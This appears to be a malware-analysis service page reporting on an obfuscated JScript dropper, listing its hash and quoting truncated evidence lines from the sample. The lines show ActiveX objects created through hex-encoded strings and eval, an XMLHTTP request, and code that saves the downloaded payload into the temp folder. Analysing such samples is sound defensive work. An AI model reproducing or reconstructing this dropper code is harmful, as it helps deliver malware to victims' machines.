20161130_3068e2ce9624867be1b1831da149e15e.js

Obfuscated dropper executes PE payload

Encoded eval() callJScript-based dropper generator
SHA-256d752a3dbca947ccf27a07cb2d609ff6d8596d809bb8d2ddfe0eb2137d6559a92

Evidence

ASCII remapping assignment markers lines 1–5
1String.prototype["OloloOloloOloloOloloOloloOloloEe9"] = function () {return ("asdf", this.split(",").join(""));};
2//BEGIN_CODEC_PART
3function OloloOloloOloloOloloOloloOloloWXf6(OloloOloloOloloOloloOloloOloloBXc5)
4{var OloloOloloOloloOloloOloloOloloKr1=new Array();
5OloloOloloOloloOloloOloloOloloKr1[199]=128;OloloOloloOloloOloloOloloOloloKr1[252]=129;OloloOloloOloloOloloOloloOloloKr1[233]=130;OloloOloloOloloOloloOloloOloloKr1[226]=131;OloloOloloOloloOloloOloloOloloKr1[228]=132;OloloOloloOloloOloloOloloOloloKr1[224]=133;OloloOloloOloloOlolo …
ADODB.Stream ProgID lines 49–59
49:139… loloOloloOloloOloloXy8 += 1)
50{OloloOloloOloloOloloOloloOloloASb1[OloloOloloOloloOloloOloloOloloXy8] ^= OloloOloloOloloOloloOloloOloloGDx8[OloloOloloOloloOloloOloloOloloXy8 % OloloOloloOloloOloloOloloOloloGDx8.length];};
51return OloloOloloOloloOloloOloloOloloASb1;}
52function OloloOloloOloloOloloOloloOloloZSu1(OloloOloloOloloOloloOloloOloloIVx9)
53{var OloloOloloOloloOloloOloloOloloZUr2=new ActiveXObject("ADODB.Stream");
54OloloOloloOloloOloloOloloOloloZUr2.type=2;
55OloloOloloOloloOloloOloloOloloZUr2["Charset"]="437";
56OloloOloloOloloOloloOloloOloloZUr2.open();
57OloloOloloOloloOloloOloloOloloZUr2["LoadFromFile"](OloloOloloOloloOloloOloloOloloIVx9);
58var OloloOloloOloloOloloOloloOloloUd4=OloloOloloOloloOloloOloloOloloZUr2["ReadText"];
59Ololo …
FileSystemObject ProgID string lines 76–83
76:104… qux");
77var OloloOloloOloloOloloOloloOloloMQj6 = "BYIISezvoH";
78var OloloOloloOloloOloloOloloOloloCMf7 = "XpKyHHUszz69F";
79var OloloOloloOloloOloloOloloOloloUJo4 = "Vy5I2AqqPcm";
80var OloloOloloOloloOloloOloloOloloKn7 = new ActiveXObject("Scripting.FileSystemObject");
81var OloloOloloOloloOloloOloloOloloOn9=2;
82var OloloOloloOloloOloloOloloOloloXh7=new ActiveXObject("WScript.Shell");
83var OloloOloloOloloOloloOloloOloloOAu9=OloloOloloOloloOloloOloloOloloXh7["\x45,\x78,\x70,\x61,\x6e,\x64,\x45,\x6e,\x76,\x69,\x72,\x6f,\x6e,\x6d,\x65,\x6e,\x74,\x53,\x74,\x72,\x69,\x6e,\x67,\x73".OloloOloloOloloOloloOloloOloloEe9()]("\x25\x54\x45\x4d …
Encoded eval() call lines 84–89
84:103… oloMQj6;
85var OloloOloloOloloOloloOloloOloloOs3=OloloOloloOloloOloloOloloOloloBn5 + ".td" + "b";
86var OloloOloloOloloOloloOloloOloloJFb1 = new ActiveXObject(eval('"\x4d\x2c\x53\x2c\x58\x2c\x4d\x2c\x4c\x2c\x32\x2c\x2e\x2c\x58\x2c\x4d\x2c\x4c\x2c\x48\x2c\x54\x2c\x54\x2c\x50".OloloOloloOloloOloloOloloOloloEe9()'));
87function OloloOloloOloloOloloOloloOloloEo2()
88{
89var OloloOloloOloloOloloOloloOlo …
WScript bracket-member access in source text lines 99–109
99:3… oloOloloOloloOloloOloloOloloJFb1.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
100OloloOloloOloloOloloOloloOloloJFb1["s,e,n,d".OloloOloloOloloOloloOloloOloloEe9()]();
101// while (OloloOloloOloloOloloOloloOloloJFb1.readystate < 4) WScript["Sleep"](100);
102OloloOloloOloloOloloOloloOloloGh7.open();
103OloloOloloOloloOloloOloloOloloGh7.type=1;
104var OloloOloloOloloOloloOloloOloloAg7 = new Date();
105OloloOloloOloloOloloOloloOloloAg7.setFullYear("2015");
106/*@cc_on
107OloloOloloOloloOloloOloloOloloGh7.write(OloloOloloOloloOloloOloloOloloJFb1.ResponseBody);
108OloloOloloOloloOloloOloloOloloGh7.position=0;
109if (""+OloloOloloOloloOloloOloloOloloAg7.getFullYear() == "2015") OloloOloloOloloOloloOloloOloloGh7["SaveToFile"](OloloOloloOloloOloloOloloOlol …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.